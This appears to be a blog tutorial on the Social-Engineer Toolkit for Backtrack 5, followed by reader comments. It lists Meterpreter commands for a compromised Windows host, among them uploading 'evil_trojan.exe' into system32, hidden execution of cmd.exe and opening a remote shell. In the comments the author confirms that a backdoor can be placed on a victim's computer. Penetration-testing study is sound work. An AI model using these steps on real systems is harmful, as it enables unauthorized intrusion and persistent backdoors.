Social engineering also known as human hack, social engineering is an act to manipulate human mind to get the desire goals. Social engineering is a general term and on daily life everyone implement it but usage of social engineering in hacking and penetration testing is little different. The main use of social engineering in hacking is to get the information, maintaining access and so on.

There are various social engineering tips and tricks available on the Internet beside these tips there is a social engineering toolkit available for implement computer based social engineering attack.

**What Is Social Engineering Toolkit**

Social engineering toolkit Tutorial–Backtrack 5 to hack a windows operating system, but before going to the actual tutorial I want to share the basic introduction of social engineering toolkit that would really help for the beginner. The Social–Engineering Toolkit (SET) is a python–driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It’s main purpose is to augment and simulate social–engineering attacks and allow the tester to effectively test how a targeted attack may succeed.

Social–Engineering toolkit available on backtrack like on backtrack 5, backbox, blackbuntu, Gnacktrack and other Linux distribution that are used for penetration testing.

**Download**

If you are using some other Linux distribution than use the command to get SET.

`svn co http://svn.secmaniac.com/social_engineering_toolkit set/`

**Social Engineering Toolkit Tutorial**

Well for this tutorial I am using backtrack 5 and the tutorial will teach you a single method to own a computer by using SET toolkit while more SET tutorial will be post on later articles. For the best result I have made video tutorial so,
As I have said on the video that more command on the article so here is the necessary commands.

**ps**
The 'ps' command displays a list of running processes on the target.

```
meterpreter > ps
```

**Download**
```
meterpreter > download c:\boot.ini
```

**Upload**
```
meterpreter > upload evil_trojan.exe c:\windows\system32
```

**Execute**
```
meterpreter > execute -f cmd.exe -i -H
```

**shell**
If you want to get the DOS screen of victim PC for downloading and upload your backdoor and other jobs use shell.

```
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
```

Enjoy the article than drop your comments.

Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription or become our Facebook fan! You will get all the latest updates at both the places.

Other Readings
- #DefCon 19 : Android Network Toolkit for Penetration Testing and Hacking (thehackernews.com)
- UPDATE: The Social-Engineer Toolkit v2.1! (pentestit.com)
- Penetration Tester's Open Source Toolkit (net-security.org)
Hi! I want 2 Thank u 4 such a gr8 tutorial dude... I want to ask if I saw many youtube video's & Blog's But Y no one is not making a video like BACKTRACK SET On WAN ...I mean External Network Public Ip...Not in our same network Can u Please make a tutorial Like Attacking On Wan...Wd Metasploit Or SET....Which Port to Forward & How to Make Changes in Set.Conf file everything....

Bcoz attacking on Our own network is not big issue We want to Learn Something Different ....I hope u Understand what I Mean.....

Thanx Once again.....I hope u upload such a tutorial Soon we all r waiting...Right guyz????

1 week ago
So you mean that i can control with commands on the victim's computer?

Like  Reply

Ethical Hacking, Ethical Hacking is a blog where you can learn IT sec...

Yes you can control victim computer by using command line, even you can upload your back-door into victim computer by using meterpreter > upload evil_trojan.exe c:\windows\system32

Like  Reply

Jessedz

hi mate .. thx for the helpful article
I have a question if you don't mind plz ... I did as you did in the video but the command are not getting any respond and they are unknown command can you tell me what to do ?? plz and thx again

Like  Reply

Ethical Hacking, Ethical Hacking is a blog where you can learn IT security with tips ...

Can you please elaborate your question, i mean for which command your are talking about.

Like  Reply

Which operating system do you like most ?

Windows
Linux
MAC

Vote  View Results  Share This
Polldaddy.com

Popular Threads

• How to Find An Email of Facebook Friend | Ethical Hacking-Your Way To The World Of IT Security
  9 comments · 3 days ago

• A History of Hacking [INFOGRAPHIC] | Ethical Hacking-Your Way To The World Of IT Security
  2 comments · 3 days ago

• Complemento Backtrack 5 Toolkit | Ethical Hacking-Your Way To The World Of IT Security
  2 comments · 1 week ago

Recent Comments

Anonymous--
1337 yes u can send him a link and u wil get there ip sent to your email
Fast Track Hacking-Backtrack5 Tutorial | Ethical Hacking-Your Way To The World OF IT Security - 16 hours ago

• Ethical Hacking for this purpose you need to make some changes on the kernel side, basically backtrack is based...
  How To Install Backtrack 5 Dual Boot--Tutorial | Ethical Hacking-Your Way To The World Of IT Security - 2 days ago

Powered by Disqus
there a way to rename the bootloader to not read "Ubuntu, with Linux 2.6.38" and have it...